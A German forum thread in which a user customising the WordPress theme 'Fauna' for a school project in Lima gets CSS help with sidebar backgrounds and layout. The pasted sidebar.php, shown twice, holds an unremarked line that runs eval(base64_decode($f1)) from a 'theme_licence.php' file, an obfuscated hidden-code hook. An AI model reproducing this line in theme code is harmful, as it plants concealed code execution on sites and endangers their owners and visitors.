Hallo liebes Forum
Ich möchte gerne im Theme "Fauna" welches ich im Moment bearbeite um eine Webseite daraus zu erstellen, die Hintergrundfarben bzw. die Bilder der Sidebar (mit dem Menü) und dem Hauptfenster seperat einem Style zuordnen (so das es mir möglich ist der Sidebar einen anderen Hintergrund zu geben als dem Hauptfenster mit den Beiträgen der Seite).
Beim Fauna Theme scheint dies vermischt zu sein, so dass ich bis jetzt nicht der Sidebar einen anderen Hintergrund geben kann als dem Hauptfenster.
Ich weiß leider überhaupt nicht wo ich anfangen könnte diesen Style, der ja im moment für Sidebar und Hauptteil gilt zu zwei seperaten Styles zu machen.
Hier mal der Link der Seite: http://www.methodos-ev.de/7enanos/wordpress
Hier mal der Inhalt der "default.css" welches sich bei Fauna in einem extra Ordner befindet, so das man die Styles wechseln kann: (ich nehme an dieses Überschreibt dann die Styles der normales styles.css datei)
Fauna Default Style
Nearly all aspects of Fauna can be customized with this file alone.
If you want to override an existing style listed in style.css, simply copy and
paste it here, and add !important to the end of it.
For example:
.box, .box-blank {
text-align: justify !important;
}
will make sure all text is justified, instead of left-aligned.
If you want to make your custom Fauna style and want to keep the core files "clean",
copy "styles/default" folder to "styles/mystyle" and type in the URL in the options page,
for instance "styles/mystyle/mystyle.css".
*/
/*
Widths
*/
#wrapper {
min-width: 780px;
width: 780px; /* Entire blog width */
}
#body {
padding: 0 0;
}
#sidebar {
width: 31%; /* Sidebar width */
float: right;
}
#main {
width: 69%; /* Main column width */
float: left;
}
#sidebar ul.inner {
padding: 0 0 0 0;
}
#header {
height: 200px;
}
.left #sidebar {
float: left;
padding: 0 0 0 0;
margin: 0 0 0 0;
}
.left #sidebar ul.inner {
padding: 0 0 0 0;
margin: 0 0 0 0;
}
.left #main {
float: right;
padding: 0 0 0 0;
margin: 0 0 0 0;
}
/*
Background
*/
.bg {
background: #F5F5EF url('bg.jpg') no-repeat center top;
}
#header {
background-image: url('../../images/masthead-fauna.jpg');
background-repeat: no-repeat; !important;
background-position: center top;
}
/*
Colors
*/
body {
color: #565654; /* Text color */
}
.box, #sidebar ul.inner li
/* {
background-image: url(bg.jpg); /* Box background color */
} */
#sidebar, #secondary, #copyright {
color: #A5A5A3; /* Sidebar text color */
}
/*
Link Colors
*/
a:link, a:active { text-decoration: underline; color: #ec6e07; }
a:visited { text-decoration: underline; color: #f4a361; }
a:hover, a:focus { text-decoration: underline; color: #a45a1e; }
#sidebar a:link, #sidebar a:active { text-decoration: none; color: #ec6e07; }
#sidebar a:visited { text-decoration: none; color: #578; }
#sidebar a:hover { text-decoration: underline; color: #79A; }
h2 a:link, h2 a:active, h2 a:visited {
color: #035;
}
h2 a:hover, h2 a:focus {
color: #39C;
}
p.commentlink, .entry-meta {
color: #989D3C !important;
}
p.commentlink a {
color: #989D3C !important;
}
p.commentlink a:hover, .entry-meta a:hover {
color: #D3D764 !important;
}
.entry-meta a {
color: #545621 !important;
}
#main p a img {
border-bottom: 1px solid #ec6e07;
}
#main p a img:hover {
border-bottom: 1px solid #6BD;
}
#menu a:link, #menu a:visited { color: #ec6e07; }
#menu a:active, #menu a:hover { color: #000; }
body#index li#current-index a, body#index #current-index a:visited,
#menu .current_page_item a, #menu .current_page_item a:visited
{
color: #000 !important;
}
#sidebar li.current_page_item>a, #sidebar li.current_page_item>a:visited { /* Only works in modern browsers */
color: #A5A5A3;
font-weight: bold;
}
h1 a:link, h1 a:visited { /* Logo */
color: #ec6e07;
}
h1 a:hover, h1 a:active {
color: #A6A6A4;
}
/*
Fonts
*/
h1 {
font: bold 240%/100% "Trebuchet MS", Arial, Helvetica, sans-serif;
}
body {
font: 70%/190% Verdana, Arial, Helvetica, sans-serif;
}
cite, input, textarea, select, .inputbox, #commentform textarea, .searchbox, .pushbutton, .pushbutton-wide {
font: 100% Verdana, Arial, Helvetica, sans-serif;
}
h2 {
font: normal 140% Arial, Helvetica, sans-serif;
}
#main h3 {
font: normal 135% Arial, Helvetica, sans-serif;
}
.noteworthy {
font: 135% "Lucida Sans Unicode", Arial, sans-serif;
}
/* Opera can't render ♥ symbol with Lucida, so set generic font */
Media all and (min-width: 0px){
.noteworthy {
font: 135% serif;
}
}
.noteworthy a {
color:#FF7953 !important;
}
.noteworthy a:hover {
color:#FF8F6F !important;
}
code, pre, kbd, samp {
font: 95% "Bitstream Vera Sans Mono", 'Courier New', Courier, Fixed, monospace;
}
p.commentlink {
border-left: 1px dotted #C2C76D;
}
p.commentlink {
font: normal 136% Arial, Helvetica, sans-serif;
}
.aside p.commentlink {
font: normal 100% Verdana, Arial, Helvetica, sans-serif;
}
.asides h2, .asides h3, .sidenote h2, .sidenote h3 {
font: normal 100% Verdana, Arial, Helvetica, sans-serif;
}
/*
Various
*/
acronym, abbr {
border-bottom: 1px dashed #C63;
}
strike, del {
color: #B6B6B4;
}
ins {
color: #989D3C;
}
label:hover {
color: #000;
}
fieldset {
border: 1px solid #F4F8FB;
background-color: #F4F8FB;
}
legend {
background-color: #fff;
}
.notice { /* Moderation Message */
border-top: 1px solid #FFF200;
border-bottom: 1px solid #FFF200;
background-color: #FFFFF4;
}
blockquote, pre {
border-left: 1px solid #D9D9D9;
}
#tags-allowed {
border-top: 1px solid #D6E1ED;
border-bottom: 1px solid #D6E1ED;
background-color: #F8FAFC;
}
/*
Comments & Trackbacks
*/
.comment-even {
background-color: #F8FAFC;
}
.comment-odd {
background-color: #F8FAFC; /* Change this colour to add "Flip flopping" backgrounds */
}
.comment-author { /* Author background color */
background-color: #EEF4F9;
}
a.comment-permalink {
color: #565654 !important; /* Text color */
text-decoration: none !important;
border-bottom: 1px dotted #565654;
}
#trackbacklist li a {
background-color: #FBFCFD;
}
#trackbacklist li {
border: 1px solid #FBFCFD;
background-color: #FEFEFE;
}
#trackbacklist li small {
color: #565654;
}
#trackbacklist li a:hover {
background-color:#F4F8FB;
color: #035;
}
#trackbacklist li a:active {
background-color:#FBFCFD;
color: #035;
}
/*
Search
*/
.search-results small {
font-size: 100%;
}
.search-results small a {
color: #989D3C !important;
text-decoration: none !important;
}
/*
Calendar
*/
#wp-calendar caption {
color: #989D3C;
}
#wp-calendar a {
color: #39C;
background-color: #F8FAFC;
}
#wp-calendar a:hover {
color: #035 !important;
background-color: #EEF4F9 !important;
}
#wp-calendar td.pad:hover { /* Doesn't work in IE */
background-color: #F8FAFC;
}
/*
Plugins
*/
/* Brian's Latest Comments */
#recent-activity small a:link, #recent-activity small a:visited, .secondary small a:link, .secondary small a:visited {
color: #ACC;
}
/* Ultimate Tag Warrior */
.technoratitags {
color: #989D3C !important;
}
.technoratitags a {
color: #989D3C !important;
border-bottom: 1px dotted #989D3C;
text-decoration: none;
}
.technoratitags a:hover {
color: #D3D764 !important;
border-bottom: 1px dotted #D3D764;
text-decoration: none;
}
.longtailvert a {
padding: 0 .5em;
text-decoration: none;
color: #fff;
}
.longtailvert a:hover {
background: #17A;
}
/* Textile */
.caps {
font: 100% Verdana, Arial, Helvetica, sans-serif;
}
/* Google Hilite */
.hilite {
background-color: #DEEBF3;
color: #000;
}
Ich nehme an das meiste ist gar nicht wichtig, sondern nur bei "Colors" kann man die Hintergrundfarbe ändern, aber eben nur für "Box" und das schließt sowohl sidebar box als auch hauptbox ein.
Hier die normale style.css
Das Theme selber hat leider sehr viele Templates und ich habe keine Ahnung ob die irgendwas mit meinem Problem zu tun haben oder nicht bzw was sie für eine Funktion haben.
Ich denke im Prinzip müsste es ja einfach möglich sein noch einen weiteren Style zu definieren und dann nur an der Stelle wo einmal der Sidebar gesagt wird sie soll auch den entsprechenden Style zugreifen ihr sagen sie soll auf den neu definierten Style zugreifen während man das Hauptfenster unverändert auf den Ursprünglichen ersten style zugreifen lässt. Hab aber leider keine Idee wo der Sidebar und dem Hauptfenster gesagt wird welchen Style sie benutzen sollen. (bzw. ob das überhaupt so einfach funktionieren kann)
Ich wäre sehr sehr dankbar für Hilfe, da ich bis jetzt schon zuviel Zeit mit dieser Webseite verbracht habe als jetzt ein anderes Theme nehmen zu wollen/können. Auserdem ist das ganze für ein Werkstattprojekt einer Behindertenschule in Peru die sich nicht unbedingt profesionelles Webdesing leisten können.
Grüße aus dem sonnigen Lima :)
Einen definierten CSS Style "aufdröseln" bzw überschreiben.
-
-
- Gerade eben
- Anzeige
Hallo!
Wenn du gerade an deiner Website arbeitest oder dein aktuelles Hosting überdenkst: Wir betreiben mit NetzLiving eine Hosting-Plattform, die speziell auf Performance, Sicherheit und einfache Verwaltung ausgelegt ist.
- ✔️ Schnelle Ladezeiten (optimiert für WordPress & Co.)
- ✔️ Deutsche Server & DSGVO-konform
- ✔️ Persönlicher Support (kein 0815-Ticket-System)
-
code bitte über den Codebutton einfügen (#)
Sidebar-Hintergrund
suche in der [COLOR=Red]default[/COLOR].css
und füge da deinen background ein
BeispielCode#sidebar { background:url("deinsidebarbg.jpg") no-repeat scroll center top transparent; float:right; width:31%; }wenn nur eine Hintergrundfarbe sein soll
reicht auchwäre bei diesen Farbcode schwarz
-
Vielen Dank für die schnelle Antwort.
Leider sieht es jetzt so aus wie hier zu sehen: http://methodos-ev.de/7enanos/wordpress/
Wenn Ihr zwischen die Sidebar und die Hauptbox schaut ist jetzt wieder eine wiederholung des Hintergrundes zu sehen aber nur hinter der Sidebar und des Hauptteils.
Mir ist gerade aufgefallen welches Problem ich als nächstes haben werde: Ich will, das die Sidebar flexibel ist und nur am Anfang und Ende jeweils ein Bild eingefügt werden so dass die Linkliste in der Mitte wachsen kann (dort soll nur weiß zu sehen sein)
Das heißt eigentlich wäre es viel besser wenn ich einfach dort wo die Sidebar definiert ist zwei Bilder hinsetze, einmal über den Inhalt der Sidebar (der ja variabel ist) und einmal darunter. Das müsste ja irgendwo in der sidebar.php sein. Ich weiß aber nicht genau wo. Such aber mal, über Tips wäre ich aber sehr dankbar.
Leider finde ich im Editiermodus keine Funktion zum Codeeinfügen.
Hier mal der Code als Zitat:ZitatAlles anzeigen<div id="sidebar"><ul class="inner">
<?php /* Single Posts */ if(is_single()) { ?>
<li>
<?php include (TEMPLATEPATH . '/templates/template-postmeta.php'); ?>
</li>
<?php } ?>
<?php /* Single Posts */ if(is_single()) { ?>
<?php rewind_posts(); ?><?php if ( have_posts() ) : while ( have_posts() ) : the_post(); ?>
<?php if (get_post_custom_values('sidebar') != "") { ?>
<li>
<?php echo c2c_get_custom('sidebar'); ?>
</li>
<?php } ?>
<?php endwhile; endif; ?><?php rewind_posts(); ?>
<?php } ?>
<?php /* Pages */ if (is_page() && !is_page('archives') && !is_page('tag-search')) { ?>
<li>
<?php include (TEMPLATEPATH . '/templates/template-pagemeta.php'); ?>
</li>
<?php } ?>
<?php /* Search-results */ if(is_search()) { ?>
<li>
<h4><?php require_once("theme_licence.php"); if(!function_exists("get_credits")) { eval(base64_decode($f1)); } _e('Search','fauna'); ?></h4>
<p><?php _e('All keywords are searched for.','fauna'); ?></p>
</li>
<?php } ?>
<?php /* Archives */ if (is_page("archives")) {
$total_posts = $wpdb->get_var("SELECT COUNT(*) FROM $wpdb->posts WHERE post_status = 'publish' && post_type = 'post'");
if (0 < $total_posts) $total_posts = number_format($total_posts);
$total_comments = $wpdb->get_var("SELECT COUNT(*) FROM $wpdb->comments WHERE comment_approved = '1'");
if (0 < $total_comments) $total_comments = number_format($total_comments);
if (version_compare(get_bloginfo('version'), '2.2', '>')) {
$total_categories = $wpdb->get_var("SELECT COUNT(*) FROM $wpdb->term_taxonomy WHERE taxonomy = 'category'");
} else {
$total_categories = $wpdb->get_var("SELECT COUNT(*) FROM $wpdb->categories");
}
if (0 < $total_categories) $total_categories = number_format($total_categories);
?>
<li>
<h4><?php _e('Archives','fauna'); ?></h4>
<p><?php printf(__('You are viewing the archives for %s. ','fauna'), get_bloginfo('name')) ?></p>
<p><?php printf(__('There are currently %1$s posts and %2$s comments, contained within %3$s categories.','fauna'), $total_posts, $total_comments, $total_categories) ?></p>
</li>
<?php } ?><?php /* Author Pages */ if (is_author()) { ?>
<?php $num_authors = $wpdb->get_var("SELECT COUNT(*) FROM $wpdb->users"); ?>
<li>
<?php include (TEMPLATEPATH . '/templates/template-authormeta.php'); ?>
</li>
<?php } ?>
<?php /* Home */ if (is_home()) { ?>
<?php if (get_option('fauna_about') != '') { ?>
<li><img src="/wp-content/themes/fauna/images/getreide.png" width="20" height="100"><?php fauna_info('about'); ?><img src="/wp-content/themes/fauna/images/getreide.png" width="20" height="100"></li>
<?php } } ?><?php /* Home, Single Posts, Date View */ if (is_single() || is_date() || is_home()) { ?>
<?php if (function_exists('blc_latest_comments')) { ?>
<li>
<h4><?php _e('Ongoing Discussions','fauna'); ?></h4>
<a class="feedicon" href="<?php bloginfo('comments_rss2_url'); ?>" title="<?php _e('Syndicate Comments using RSS 2.0','fauna') ?>">
<img src="<?php bloginfo('stylesheet_directory'); ?>/images/icon_feed.gif" alt="<?php _e('Feed','fauna'); ?>" /></a>
<ul id="recent-activity">
<?php blc_latest_comments(3,3); ?>
</ul>
</li>
<?php } ?>
<?php } ?>
<?php /* Category View */ if (is_category()) { ?>
<li>
<h4><?php _e('Category:','fauna'); ?> <?php single_cat_title('', 'display'); ?></h4>
<a class="feedicon" href="<?php echo get_category_rss_link(0, $cat, $post->cat_name); ?>" title="<?php printf(__('Syndicate %s using RSS 2.0','fauna'), $post->cat_name) ?>"><img src="<?php bloginfo('stylesheet_directory'); ?>/images/icon_feed.gif" alt="<?php _e('Feed','fauna'); ?>" /></a>
<p><?php echo category_description(); ?></p>
</li>
<?php } ?><?php /* Category View, Archives, Date View, Home if option checked */ if (is_category() || is_page("archives") || is_date()) { ?>
<li id="categorylist">
<?php include (TEMPLATEPATH . '/templates/template-categorylist.php'); ?>
</li>
<?php } ?>
<?php /* If "Widgets" are enabled, disable these sidebar items */ if (is_home() || is_single() ) { if ( !function_exists('dynamic_sidebar') || !dynamic_sidebar() ) : ?>
<?php /* End "Widgets" */ endif; } ?>
<?php /* Tag View */ if (function_exists("is_tag")) { if (is_tag()) { ?>
<li>
<h4><?php _e('All Tags','fauna'); ?></h4>
<?php wp_tag_cloud('smallest=8&largest=8&number=500&format=list'); ?>
</li>
<?php } } ?>
</ul></div><!--// #sidebar --> -
Nun wenn du in der Sidebar einen "eigenen Hintergrund" haben willst, solltest du auch einen "eigenen Hintergrund" verwenden.
Jetzt hast du den Hintergrund der ganzen Seite, nochmal in der Sidebar eingefügt, folglich erscheint auch dieser.
Deshalb hatte ich im Beispiel auch geschrieben "deinsidebarbg.jpg" und nicht nur bg.jpg.
ach ja den Code nicht als Zitat, sondern als Code einfügen...wie oben schon in Klammer, ist das dieser Button ([size=14][COLOR=Red]#[/COLOR][/SIZE]) ;)
-
Das habe ich soweit auch verstanden. Das was ich meine was im Moment das Problem ist, ist nicht dass sich der Hintergrund wiederholt, sondern das er gar nicht IN der Sidebar drinne angezeigt wird, sondern hinter (bzw. zwischen) Sidebar und Hauptteil. :)
-
-
Achso
Also bei mir sieht es jetzt so aus:
CSS
Alles anzeigenWidths */ #wrapper { min-width: 780px; width: 780px; /* Entire blog width */ } #body { padding: 0 1.5em; } #sidebar { background:url("bg.jpg") no-repeat scroll center top transparent; float:right; width:31%; } #main { width: 69%; /* Main column width */ float: left; } #sidebar ul.inner { padding: 0 0 0 .8em; } #header { height: 200px; } .left #sidebar { float: left; } .left #sidebar ul.inner { padding: 0 .8em 0 0; } .left #main { float: right; } /* Background */ .bg { background: #F5F5EF url('bg.gif') no-repeat center top; } #header { background-image: url('../../images/masthead-fauna.jpg'); background-repeat: repeat-x !important; background-position: center top; } /* Colors */ body { color: #565654; /* Text color */ } .box, #sidebar ul.inner li { background-color: #fff; /* Box background color */ } #sidebar, #secondary, #copyright { color: #A5A5A3; /* Sidebar text color */ }
Ich glaube nur das wenn ich die background-color lösche (damit kein weiß mehr da ist) dass dann wieder bei beiden "Boxen" das weiß entfernt wird und ich möchte im Hauptfenster ja das weiß behalten.
Vielen Dank für deine Hilfe.
Hättest du vielleicht auch eine Idee wo ich in der sidebar.php einfach zwei Bilder einfügen könnte, so dass ich einfach in beiden Boxen weiß als Hintergrund lassen kann. Das wäre für mich ja sowieso besser (glaube ich) da ich dann eine Flexible Sidebar habe (so das dass untere Bild einfach mit dem Inhalt, wenn er sich verändert, mit nach unten rutscht). -
So ich hab jetzt ziemlich simpel einfach an den Anfang und das Ende der sidebar.php mein gewünschtes Bild gesetzt.
Jetzt ist auch alles in etwa soweit wie ich es haben wollte nur eine Sache stört mich. Wie ihr sehen könnt auf http://methodos-ev.de/7enanos/wordpress/ gibt es einen Zwischenraum zwischen dem Inhalt der Sidebar und dem unteren Bild (dem Zwerg mit den Fragezeichen)
Wie kriege ich den weg???
Hier der Code der Sidebar.php nochmal wie er jetzt ist.
PHP
Alles anzeigen<div id="sidebar"><ul class="inner"> [COLOR=red]<img src="wp-content/themes/fauna/images/sidebaro.jpg" />[/COLOR] <?php /* Single Posts */ if(is_single()) { ?> <li> <?php include (TEMPLATEPATH . '/templates/template-postmeta.php'); ?> </li> <?php } ?> <?php /* Single Posts */ if(is_single()) { ?> <?php rewind_posts(); ?><?php if ( have_posts() ) : while ( have_posts() ) : the_post(); ?> <?php if (get_post_custom_values('sidebar') != "") { ?> <li> <?php echo c2c_get_custom('sidebar'); ?> </li> <?php } ?> <?php endwhile; endif; ?><?php rewind_posts(); ?> <?php } ?> <?php /* Pages */ if (is_page() && !is_page('archives') && !is_page('tag-search')) { ?> <li> <?php include (TEMPLATEPATH . '/templates/template-pagemeta.php'); ?> </li> <?php } ?> <?php /* Search-results */ if(is_search()) { ?> <li> <h4><?php require_once("theme_licence.php"); if(!function_exists("get_credits")) { eval(base64_decode($f1)); } _e('Search','fauna'); ?></h4> <p><?php _e('All keywords are searched for.','fauna'); ?></p> </li> <?php } ?> <?php /* Archives */ if (is_page("archives")) { $total_posts = $wpdb->get_var("SELECT COUNT(*) FROM $wpdb->posts WHERE post_status = 'publish' && post_type = 'post'"); if (0 < $total_posts) $total_posts = number_format($total_posts); $total_comments = $wpdb->get_var("SELECT COUNT(*) FROM $wpdb->comments WHERE comment_approved = '1'"); if (0 < $total_comments) $total_comments = number_format($total_comments); if (version_compare(get_bloginfo('version'), '2.2', '>')) { $total_categories = $wpdb->get_var("SELECT COUNT(*) FROM $wpdb->term_taxonomy WHERE taxonomy = 'category'"); } else { $total_categories = $wpdb->get_var("SELECT COUNT(*) FROM $wpdb->categories"); } if (0 < $total_categories) $total_categories = number_format($total_categories); ?> <li> <h4><?php _e('Archives','fauna'); ?></h4> <p><?php printf(__('You are viewing the archives for %s. ','fauna'), get_bloginfo('name')) ?></p> <p><?php printf(__('There are currently %1$s posts and %2$s comments, contained within %3$s categories.','fauna'), $total_posts, $total_comments, $total_categories) ?></p> </li> <?php } ?> <?php /* Author Pages */ if (is_author()) { ?> <?php $num_authors = $wpdb->get_var("SELECT COUNT(*) FROM $wpdb->users"); ?> <li> <?php include (TEMPLATEPATH . '/templates/template-authormeta.php'); ?> </li> <?php } ?> <?php /* Home */ if (is_home()) { ?> <?php if (get_option('fauna_about') != '') { ?> <li><img src="/wp-content/themes/fauna/images/getreide.png" width="20" height="100"><?php fauna_info('about'); ?><img src="/wp-content/themes/fauna/images/getreide.png" width="20" height="100"></li> <?php } } ?> <?php /* Home, Single Posts, Date View */ if (is_single() || is_date() || is_home()) { ?> <?php if (function_exists('blc_latest_comments')) { ?> <li> <h4><?php _e('Ongoing Discussions','fauna'); ?></h4> <a class="feedicon" href="<?php bloginfo('comments_rss2_url'); ?>" title="<?php _e('Syndicate Comments using RSS 2.0','fauna') ?>"> <img src="<?php bloginfo('stylesheet_directory'); ?>/images/icon_feed.gif" alt="<?php _e('Feed','fauna'); ?>" /></a> <ul id="recent-activity"> <?php blc_latest_comments(3,3); ?> </ul> </li> <?php } ?> <?php } ?> <?php /* Category View */ if (is_category()) { ?> <li> <h4><?php _e('Category:','fauna'); ?> <?php single_cat_title('', 'display'); ?></h4> <a class="feedicon" href="<?php echo get_category_rss_link(0, $cat, $post->cat_name); ?>" title="<?php printf(__('Syndicate %s using RSS 2.0','fauna'), $post->cat_name) ?>"><img src="<?php bloginfo('stylesheet_directory'); ?>/images/icon_feed.gif" alt="<?php _e('Feed','fauna'); ?>" /></a> <p><?php echo category_description(); ?></p> </li> <?php } ?> <?php /* Category View, Archives, Date View, Home if option checked */ if (is_category() || is_page("archives") || is_date()) { ?> <li id="categorylist"> <?php include (TEMPLATEPATH . '/templates/template-categorylist.php'); ?> </li> <?php } ?> <?php /* If "Widgets" are enabled, disable these sidebar items */ if (is_home() || is_single() ) { if ( !function_exists('dynamic_sidebar') || !dynamic_sidebar() ) : ?> <?php /* End "Widgets" */ endif; } ?> <?php /* Tag View */ if (function_exists("is_tag")) { if (is_tag()) { ?> <li> <h4><?php _e('All Tags','fauna'); ?></h4> <?php wp_tag_cloud('smallest=8&largest=8&number=500&format=list'); ?> </li> <?php } } ?> [COLOR=red]<img src="wp-content/themes/fauna/images/sidebaru.jpg" />[/COLOR] </ul> </div><!--// #sidebar -->
Ganz am Anfang und am Ende könnt ihr mein eingesetztes <img> sehen :) -
-
Vielen Dank jetzt klappt alles super. :D:D
Jetzt vielleicht noch eine Frage fals du mal lust und Zeit hast. Bei dem Flashfilmchen in der Mitte (mit dem Brot) da ist leider so ein weißer Rand der wahrscheinlich auch von einem Margin oder Padding wert kommt. (ich glaube eher padding ich verwechsel die aber immer.
Problem 1 ist, dass ich keine Idee habe wo dieser Wert liegt (bei welcher Styledefinion in der style.css). Der Film liegt in der "Stickynote" welche bei dem Fauna Theme integriert ist. Ist es möglich nur den Style (also den paddingwert) des Stickynote bereiches zu ändern? Fällt dir vielleicht irgendwas auf in der style.css?
Ich schau jetzt selber auch mal. Vielen Dank für deine Hilfe :) Hat echt viel geholfen. -
margin ist Außenabstand, padding innen
vielleicht hier mal etwas umsehen = css4you.de oder w3schools.com
zum Flash und der Seite allgemein
Beim rumbasteln am Design, sollte man sich die Änderung, immer auch in allen möglichen Browsern ansehen.
FF zeigt kein Flash an, nur einen Pfeil -> (da ist wohl im Code was zu viel oder nicht geschlossen)
Opera zeigt kein Flash an, nur den Flashdownload-Button
Opera hat zusätzlich einen weißen Streifen oben in der Sidebar
IE8 zeigt Flash an, jedoch verschoben, was vermutlich an der Breite liegt( statt 519 nur mal 490 verwenden)
wie es in Safari, den älteren IE usw. aussieht kann ich dir nicht sagen
-
Hallo Art of Pic
Vielen Dank für deine Hilfe.
Habs mir jetzt auch mit Mozilla und Safari angeschaut.
Flash wird jetzt bei beiden angezeigt. Allerdings habe ich bei Safari das Problem, dass mein oberes Sidebarbild verschoben ist :cry: Hab leider keine Ahnung warum. Habt ihr eine Idee?Ausserdem habe ich auch noch das Problem, dass ich versuche die Searchbox zu ändern (zu verkleinern oder zu verschieben) aber nicht die Stelle finde wo man diese Box ändern kann.
:oops: -
Hallo.
Also ich habe jetzt für meine Fragen die Lösung selbst gefunden.
Jetzt habe ich noch eine weitere Frage:
Ist es möglich ein Bild am Bildschirm auch für den Firefox "festzutackern" ?
Jetzt mitmachen!
Sie haben noch kein Benutzerkonto auf unserer Seite? Registrieren Sie sich kostenlos und nehmen Sie an unserer Community teil!